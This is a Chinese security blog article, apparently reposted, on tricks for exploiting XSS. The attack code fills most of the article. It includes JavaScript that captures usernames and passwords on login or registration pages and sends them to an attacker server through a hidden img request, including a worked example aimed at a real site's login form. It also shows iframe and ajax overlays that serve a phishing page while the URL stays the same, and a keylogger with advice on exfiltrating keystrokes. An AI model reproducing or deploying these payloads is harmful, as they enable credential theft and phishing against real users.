您可以捐助,支持我们的公益事业。

1元 10元 50元





认证码:  验证码,看不清楚?请点击刷新验证码 必填



  求知 文章 文库 Lib 视频 iPerson 课程 认证 咨询 工具 讲座 Modeler   Code  
会员   
 
   
 
 
     
   
 订阅
  捐助
戏耍XSS的一些技巧
 
作者:Black-Hole 来源:黑客与极客 发布于:2015-8-27
  2153  次浏览      14

0×01:当注册/登陆页面/修改密码页面等存在XSS时

当你手工或者软件挖到一个页面的xss时(无论是反射xss或者储蓄xss都可以),这个时候想要深入的利用这个漏洞,该怎么做呢?用WebRTC来内网端口检测?盗取cookies(登陆页面和注册页面一般都不会有用户cookies)?用浏览器漏洞来调取cmd入侵(能挖到么)?

这不行,那不行。到底怎么办呢?我们这个时候可以根据页面的特性来完成,假设当前是注册页面,存在XSS,那我们应该怎么做才好呢。如果是反射XSS,可以远程调用js文件,如果是储蓄型XSS可以在页面里面写。代码如下:

/*如果当前页面没有使用jQuery,就采用原生的JavaScript,下面函数是重写了jQuery的选择器及attr。
userInfo('data-user','username','value')等价于:$("input[data-user='username']").attr('value');
这个代码存在一个bug,就是getAttribute获取input的value时会显示空, 这个时候只需要把getAttribute改成value就行了。之所以没有改, 是因为你又可能传入其他的标签,比如img什么的,如果你要传的标签不是input, value是获取不到的,需要使用getAttribute。
*/
var userInfo = function(data,value,post,tag){
if(!arguments[3]){
//判断第四个参数是否存在
tag = "input";
//当没有第四个参数传进来时,默认为input
}
var tagData = document.querySelectorAll(tag + '[' + data + ']');
//查找网页中某标签存在某个属性
for(var i = 0;i<tagData.length;i++){
//遍历查找后的结果
if(tagData[i].getAttribute(data) == value && tagData[i].getAttribute(post)){
//判断属性的值是否为自己所指定的,如果是自己属性和值都匹配了,再判断是否有自己的想要获取的属性
return tagData[i].getAttribute(post);
//返回匹配成功的值
}
}
}
document.getElementById("xxx").click(function() {
//当用户点id为xxx的时候,运行函数内的代码。
var user = userInfo('data-user','username','value');
//把获取的值赋值给user
var password = userInfo('data-user','password','value');
//把获取的值赋值给password
var imgTag = "<img src='服务器接受地址.com/xxx.php?user= " + user +"&password=" + password + "' style='display:none;'";
document.getElementsByTagName('body')[0].appendChild(imgTag);
})

以img标签发送get的方式来把用户的账号密码发送到服务器(之前使用JavaScript结合WebRTC实现内网端口检测的时候就是用这个的。),因为img的src会以get的方式来发送数据,我们只需要在服务端写上$_GET['user']和$_GET['password']就可以获取到了。因为我们本身并不是一个完整的请求,只有发送。所以不需要担心跨域的问题。

如果当前页面的本身调用了jQuery,那就不需要上文那么麻烦了。因为代码量真的很少很少,代码如下:

$("input:submit").onClick(function(){
//当点击“提交”按钮时所触发的函数
var user = $("input[data-user='username']").val();
//获取input标签里具有属性为data-user且属性值为username的DOM,然后在获取用户输入的值。

var password = $("input[data-user='password']").val();
//获取input标签里具有属性为data-user且属性值为password的DOM,然后在获取用户输入的值
$("body").append("<img src='http://服务器接受地址.com/?user= " + user + "&password=" + password + "' style='display:none;'>");.
//把构造好的img标签插入到body标签里的结尾
});

当代码OK后,用户点击提交时,可以注册,但是同时他的账号密码都会被我们所知道。相当于wifi中间人劫持了。

说了半天的话,也给了那么多代码,不来点事例有点说不过去了。事例:

我们先假设pan.baidu.com存在XSS。是在URL里的s参数里。就像:

http://pan.baidu.com/?s=<script>alert(1)</script>,开始分析构造了。

打开页面,F12,看下用户账号及密码的DOM。

这里我们可以使用id进行定位。Input的type为text定位好了,下面就是定位登陆按钮了。

分析完了后,我们可以进行代码构造了:

$("#TANGRAM__PSP_4__submit").click(function(){
var user = $("#TANGRAM__PSP_4__userName").val();
var password = $("#TANGRAM__PSP_4__password").val();
$("body").append("<img src='http://a.cn/?user=" + user + "&password=" + password + "' style='display:none;'>");
});

OK了后,我们来实验下:

先用burp把数据包截断,防止页面跳转。点击登陆后,我们在“控制台”看下

渲染成功,我们在服务端看下:

这里没有使用php。使用的是nginx的log日志。php因为反馈不明显,除非导入到数据库里。那就太麻烦了。这里我们,可以看到成功了。如果你想使用php的话,再index.php里写上$_GET['user']和$_GET['password']就可以获取到了。

0×02:伪造页面,URL不变

之前大家伪造钓鱼页面时,经常使用<meta http-equiv="Refresh" content="1; url=http://钓鱼页面.com" />window.location.href="http://钓鱼页面.com";或者起一个非常有诱惑性的域名,比如:htpp://www.freebvf.com/,再或者以手误的方式来设置域名,比如:http://www.freevuf.com/,但是这些就有点low了。这里技巧有个要点,就是当前页面变化,但是URL不变。这里有两个方法。如果你有更好的方法,欢迎提出来,让我学习下。

第一种方法:

利用iframe,去掉iframe的边框及滚动条。再时iframe的宽度100%,占满整个页面。

var windowHeight=$(window).height() + 500; //获取当前可视区域的高,并且加上500px,防止当浏览器窗口变化时,泄露下面的内容

$("body").before('<iframe src="http://www.freebuf.com/" id="frame3d"
 name="frame3d" frameborder="0" width="100%" scrolling="no" height="' + windowHeight + '"></iframe>');
//插入iframe标签,src为钓鱼页面
$("html").attr({
onmousewheel: 'return false',
//禁止鼠标轮动事件,让鼠标无法滚动

style: 'overflow-x:hidden;overflow-y:hidden'
//隐藏滚动条
});

利用了iframe可以调用外部窗口的特性来进行构造代码。要点有:把iframe最大化、禁止页面滚动、隐藏滚动条。来个事例图:

还有一种办法是利用ajax来进行伪造,获取外部的网页,然后利用document.write()来把内容写到页面。因为document.write()有个特性就是,使用document.write()时会重写页面,无论页面里有什么内容,都会被重写。代码如下:

$.ajax({
url: 'http://www.freebuf.com/',
type: 'post',
dataType: 'text',
})
.done(function(data) {
document.write(data);
})

这里有几个需要注意的地方,document.write()写入页面后,所有的资源都会重定向到原本的地址。打个比方。

我们的钓鱼网页是htpp://www.freebuf.com/。里面的在调用js/css/img/swf等资源的时候,使用的是相对目录来进行索引的。就像下面这样:

<script src="./other/js/new/backtop.js"></script>(这是我编的,freebuf并没有使用相对目录)

那我们将freebuf这个钓鱼页面也到目标网页后,假设目标的URL是:http://www.baidu.com/。那这个js的资源就会被指定为http://baidu.com/other/js/new/backtop.js。从而导致页面不受控制。就像下面这样:

看下控制台就更加的清楚了:

还有一个需要注意那就是需要再这个文件也就是index.php里的头上写入下面的代码:

<?php header( 'Access-Control-Allow-Origin:*' );?>

这样就可以使用ajax来进行跨域了。

这两个方法的优点和缺点我们说下:

第一种用iframe:

缺点:容易被发现,。F12就可以看到一个iframe,而且当浏览器的窗口足够大的时候,会使原本的网页泄露出一点。从而导致用户发现。代码量多

优点:限制特别少。

第二种用ajax:

缺点:使用ajax看来请求远程地址并重写的时候,需要注意的是,即使钓鱼网站不使用相对路径,而且还加入了<?php header( 'Access-Control-Allow-Origin:*' );?>,但是还是不行,因为网站的本身就做了限制。

优点:代码量特别少

0×03:other小技巧

JavaScript键盘记录:

function keyUp(e) {
var keyChar=0,e=e||event;
keyChar=e.keyCode||e.which||e.charCode;
var key = String.fromCharCode(keyChar);
console.log("字符: " + key);
}document.onkeyup = keyUp;

这段代码只需要运行就行了。如果想发送到远程的服务器上面,可以使用ajax或者我上面的说的<img src='http://服务器接受地址.com/?key=" + key +"' style='display:none;'>来进行发送,可以使用for循环对上面的代码进行循环,把用户按下的键先赋值给一个值,当点击提交时就可以发送了。

如果网站不限制字符串的话,可以使用http://www.jsfuck.com/来对原本的JavaScript代码进行变异。但是这种变异后的长度特别长,记住是特别长!

0×04:结束语

最近刷微博,看到下面的微博:

对于这种厂商,我只能说自己脑残不要说别人技术差。

黑哥之前的XSS漫游内网,以及XSS遍历内网IP端口。还有XSS利用浏览器API弹计算器等等,事实证明这不是08年的时候了,不要一直想着XSS只能打cookies,可能你正在这样想的时候,别人已经用xss漫游你的内网了呢。

   
2153 次浏览       14
 
相关文章

iOS应用安全开发,你不知道的那些事术
Web安全之SQL注入攻击
移动APP安全在渗透测试中的应用
从Google备份互联网看“数据安全”
 
相关文档

web安全设计与防护
互联网海量内容安全处理技术
黑客攻击与防范技术
WEB黑盒安全检测
 
相关课程

WEB网站与应用安全原理与实践
web应用安全架构设计
创建安全的J2EE Web应用代码
信息安全问题与防范
最新课程计划
信息架构建模(基于UML+EA)3-21[北京]
软件架构设计师 3-21[北京]
图数据库与知识图谱 3-25[北京]
业务架构设计 4-11[北京]
SysML和EA系统设计与建模 4-22[北京]
DoDAF规范、模型与实例 5-23[北京]

iOS应用安全开发
Web安全之SQL注入攻击
APP安全在渗透测试中的应用
初探PHP的SQL注入攻击的技术
从Google备份看“数据安全”
更多...   

WEB网站与应用安全原理与实践
web应用安全架构设计
创建安全的J2EE Web应用代码
注册信息安全专业人员(CISP)
信息安全管理
信息安全问题与防范

中国银行 信息安全技术及深度防御
Web应用安全架构、入侵检测与防护
某财税领域知名IT服务商 Web安全测试
普瑞克斯 web安全设计、测试与优化
北京和利时 性能和安全性测试
SUN中国工程研究院 JSF框架、安全
更多...